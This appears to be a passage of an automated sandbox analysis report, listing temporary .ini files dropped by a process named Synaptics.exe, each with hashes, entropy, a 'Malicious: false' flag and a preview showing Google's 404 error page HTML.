SSDEEP:	24:bsF+0L3JSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+U3J+pAZewRDK4mW
MD5:	929495BA1E52E1A71EEDDAC67FF5F800
SHA1:	F87B0008405CFD8A17039B3021689935F305EF60
SHA-256:	BF34B7EB0A21EC6C31A7021268322772750734050FB6820FD92E0888FD6D3AD6
SHA-512:	DD69E70118FB0BFD40CC6ECE926E3004024E743CA5D6A8EE914B87508F1A5CC51B708271114476073DA3F844A365F6061E4794D722E6275E2D4BF4795602B051
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Orh6j-fDDF6Oi2BjQsa57Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\E7jBo8Y.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.2737568003123645
Encrypted:	false
SSDEEP:	24:bsF+0kSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+H+pAZewRDK4mW
MD5:	52D7F59A5298F7518AFC04C6B46980BB
SHA1:	CDAD1FE08D6776E9F19AC855DF5FD29F4419C9AB
SHA-256:	39CD01A1C7F2826EA3E9D76665807E6E0481B90294F454321C36FB9AC86729DD
SHA-512:	3D1DCF77D56D22A93BDEAB04E0633EFC055E5CD696E32F8A73D586BEB2C8D1707F6CFB2A0E2EF8580ED11B7788F0702835DD0FF18D9C392F0972834F90EADF36
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="--OIvZYUHXj0i2t9SbOSGA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\GqctNRP.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.273985558307339
Encrypted:	false
SSDEEP:	24:bsF+0T6SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+1+pAZewRDK4mW
MD5:	C040AE2BD96544A75CCDF44190DF2C09
SHA1:	FE5BF7299956C00C868034C34E1DEBDD0D0E6880
SHA-256:	C01FF0B4F7D66B84166F657B225835D5537C30562AAC05968313514AB50B390B
SHA-512:	7B35E52E2089B3A0C42134583984D070243F44E9CE74BBCD59E71EEDBCFB61A7D1D22FB42BC0F0E9071B8F68894D265C280C85ABFCB61032612596926ED4E0A7
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="RHFzTaNBL2gQUy1IM0IRQA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\H3Z4k9Z.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.252344195033899
Encrypted:	false
SSDEEP:	24:bsF+0XBSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+4B+pAZewRDK4mW
MD5:	06C7557DF830352FE6BBCF3FB4E3E477
SHA1:	B329DC8D8161342D66EE431F9D7BE06A6F7D9C69
SHA-256:	C294A6850899AA40BC5D191B20FF62B157DA1382709F8EB5E031FC1472539F7C
SHA-512:	EAAB234B8798DCF1E73CCE518FA2426BA6D76667499231BA403A0DA008C6C1CF3CC8A6A16E60F9509528951A0F7634A3E17E00C68DAFB2CA2E1DD00C95C68054
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="nM5yE7sDOD1ulaYIgb4-kw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\HzKyLLz.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.272709065431648
Encrypted:	false
SSDEEP:	24:bsF+0cSUSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+NSU+pAZewRDK4mW
MD5:	F279DD27E7809C17E25CABC6CD37339C
SHA1:	B771D8B5ED89CAA53B97064441B3C005DD3AC47D
SHA-256:	DEAEF5A94BD990841ACFF8A3E94F9AEE76E44175E542AF81EAF009A96B883199
SHA-512:	5E337E6722CC760135EA49DE2E7F6401BFF0B99C4C41BB442B64A26DD8B4D00B9FF1AD84AA8F6983728984FB767422F2DD3B01626339497D9EF02E6B30D08AD6
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="BsXQXOyLEJiLk0A3Ph2y8A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\JPfD1xt.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.260581011026083
Encrypted:	false
SSDEEP:	24:bsF+0QeSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+Re+pAZewRDK4mW
MD5:	737036EC7777DF52FB1645996521C9F8
SHA1:	157E3986D41DD8C8A311531A71807FB241BD4FBD
SHA-256:	8E5FC0012857FE6506901D43AA931461F50AC516F93C82A274608FA47BB52072
SHA-512:	4DF264A9C02712E933EF30FDE7CD161D0ED5839CA0122327E124AEC93DC081B739A154BCC29FD64C558016BD6144067C0CE5978284AE537AC8E09E2E3459500F
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="WMdv-eMkdEL7j5xOcIz0mQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\KgAQHz5.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.260105898703856
Encrypted:	false
SSDEEP:	24:bsF+0TdXSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+MZ+pAZewRDK4mW
MD5:	991D480C1533049DB0F59AC81D90DA9E
SHA1:	36E30E33A88C4A565D825567D33AFA41EB548FE9
SHA-256:	26B151C61D01F462AC47DBA09C15A7DA79349AD40AECD4929B6D4194ADCFFB42
SHA-512:	11FB62A08F407DE842D0C289F86734B6CE1F2337FB64C9FA434CD7EB38A824B438898B6AC15DEEEEF4A313449821DC6050E941B7C788B8E69047D8AE6FDF33B9
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ox8I0UZX3tb-sS1lpHgQKA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\L74Drz5.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.263520820531381
Encrypted:	false
SSDEEP:	24:bsF+0y2SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+U+pAZewRDK4mW
MD5:	4ED982290856EECA369D401FB05A1818
SHA1:	E6D4D2AA29BB3241A159B0A3C3CB50F3954AF557
SHA-256:	1F0BAF3CA7241D3DF18888AF3E2DF1ECD77A38C3145C48185D0D0CD7D970FF7F
SHA-512:	EEAC0C278C300103C14772A80E861FD7D25D07F4EA33931F2E8B4EC4980EF9A7FED09862A2816FFA6F9BDD7251409271E1D639CCCA12FD895D8D60EA1BAA3177
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="E-sMy-jqe8_JESb4xjdfBA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\LDgQMYy.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.2648596047822025
Encrypted:	false
SSDEEP:	24:bsF+0g6ISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+dH+pAZewRDK4mW
MD5:	C8FE4211ECDE21F0C6532A15D910C4D2
SHA1:	5A0506441F534B71B1A19A1840D55F1967EE7F4D
SHA-256:	9EA7E0706E9D953EE090B89F95D86880CC59F2B9231EB6A0C3BC5441D4A09FFC
SHA-512:	717159EF33ED8C780F982C7FFE2871F496D9499CB2FB15FD40F47F9532459D77EDC9AA00974E6972D2344F0D77F6E1FB74E61FC71CAD614448EA3F241D9D94C2
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="gNyk8x1eZZPvAFCN4vPqnA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\MxMYCjf.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.276678905367828
Encrypted:	false
SSDEEP:	24:bsF+0PySU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+ay+pAZewRDK4mW
MD5:	C31CF393B0DC851688BA226378328053
SHA1:	83795771D60DC0232204FA2F9D6FE2480425012F
SHA-256:	E0E655876930DC8E1EC236F031014D10CE4F9D9AE88A4EE7481413BE19F07CA5
SHA-512:	7D9D31A76AA19565D24F6CADF039E336A5D2B764B7C48DD68B47403B8DF6EE7AC2B4BBD4FFB856A50B6C4E55F1454A7505895A12461C41E56723E9C5E4BD69C7
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="vC13ZHz89Z1IYUsiKhY8jA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\Oyl82IV.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.274362950529293
Encrypted:	false
SSDEEP:	24:bsF+0RibSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+db+pAZewRDK4mW
MD5:	DA046BA0D03FFEA6B712FAAD86250AE4
SHA1:	73EE7C5331925AADB6890D966B836F9B1C486F23
SHA-256:	AF1E833E59ACA10EDDDF67FFB3E3F247107B72809E012D8CEFD12C9A4AFB4D99
SHA-512:	F99AF37BB1BB173FF3A88CAD4C6481C2EA55976F4DF5AE782A8470CA459F13140A9E40598F0D34B13647D8CE56DC01DF70F58B26E50E00AE27B0FD172BBE236C
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Ik9eWOYCqxWJvf5cD_6XUw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\RNQ46hd.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.252279688002556
Encrypted:	false
SSDEEP:	24:bsF+0/SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+4+pAZewRDK4mW
MD5:	830CDB4BDB73494F7EC0D466DF69FBA1
SHA1:	02A7D88ABB37A02243F95416623420096D340D1E
SHA-256:	C84F6CFEB96D0C5F1AEE20E4D2A5433296FEDF405B6A59FAE5F00CA29A2B01C6
SHA-512:	E531FDAAE490DB14F7B6AF642F2808996E1FED1B951131EE4810C55A2B51EE58512F3F5033DC25B5E3E6C0D77A1CD8CE1F8715A567577B8C84A0E985BFECE832
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="3XueiPboiSis_beZAWxUqw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\RX8edQo.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.266334812971755
Encrypted:	false
SSDEEP:	24:bsF+0sSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+H+pAZewRDK4mW
MD5:	20FD5E97B0E7622B4FF7930EC177A9FD
SHA1:	94A57952FFC7FFD8EA988B0BA3F303E3BF69CAF1
SHA-256:	3F8A0C9A02E96A7034F074CBD8B1B4CF08D04AF6895F9558329C161F17B8A3EB
SHA-512:	D55AA94F275D58C7D922BC701F2908C3F5FC18E0F0FC782E72B079FE5B0EC23F8A98E4DA2C91A11CC3D5EB4748C45675F1635E912B9CF081F570D5E6AFAB66ED
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="8MYJzIfb4aVITMs8eJmoVQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\TW1Bo1w.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.261435791574134
Encrypted:	false
SSDEEP:	24:bsF+0klvySU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+++pAZewRDK4mW
MD5:	FA6F73EC434F71E33DEE4265C8AF5D07
SHA1:	161522C726C57588B070AD3E78E59448BA4E31E7
SHA-256:	991BEA3FBC8257F987EC0C61690075DBF00ABBD62B85EC1745DC4F2674919698
SHA-512:	8F0F142DA9129A2D7FAEA2F8DD1A57546010A0B0F1A58120C0A8E02ED5E8905B971D2E1C6426104659F24A1151B0900B09D077AF2D8F3306FA67715C6592DD88
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="jC_wOizXlnHA3h4MeLrssQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\TxcBVnu.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.2631370776296595
Encrypted:	false
SSDEEP:	24:bsF+04SSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+1S+pAZewRDK4mW
MD5:	D2D68352B55942083B70CB0DE5F5B847
SHA1:	6CB306280A9495C8721245522241F4656AAE05B6
SHA-256:	81B21D388F98FDD3BF3CFC6F01A41B0DBCAE4A4CBE0B813D4559A034E4B8BF07
SHA-512:	7E4B6244F131FEAE841B264BD8CCFB138A89AACC1D6313E58251E0A3401120C18781D968170A71BA5B784BEF919BFED628E7C9D826F85EEC58E320AC4FB14ECA
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="cDtWIhiySHl8cwFSAkWWFw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\UrjfVau.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.243496498069405
Encrypted:	false
SSDEEP:	24:bsF+0i3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+5+pAZewRDK4mW
MD5:	2BF078F8FDFA2A6043989F1E4A98F06C
SHA1:	26AB1762A3AD623D03475052097108FE2DB642A3
SHA-256:	95E87FF2294C09A70E3D20F64A872CF51A7115632A2AB54D5AAAE2CE8D1F935A
SHA-512:	292B416EBF3AFADA90F2C8D35DD1270CB42139DFA789E5AE06B4E6DC6633EDA0AF6ED9F7F7C850EFE51C2C1476CF91A5968F6632AEBE32A4B4624BDF1A33B9A5
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="_3krVorAa8dUgZafkdihAw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\Wy2FgMQ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.273197163049745
Encrypted:	false
SSDEEP:	24:bsF+0HSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+g+pAZewRDK4mW
MD5:	E82999B5AA3480E18241825C864C3A44
SHA1:	282C41F4D1FCE6DB436F2ABA06226E13E2D7E828
SHA-256:	E1DF4462499B55821EA32833626E3A991A1EB56B97EE3ECFEA6094782849D245
SHA-512:	691982CD624F92E90F64B2597ED09F07956B725A5422B01DD55D47F60CF2B05BF9B2E96E515E7B18AFD81C07F5C91375704E0CC7480102F5DF978BE6CF88B73A
Malicious:	false
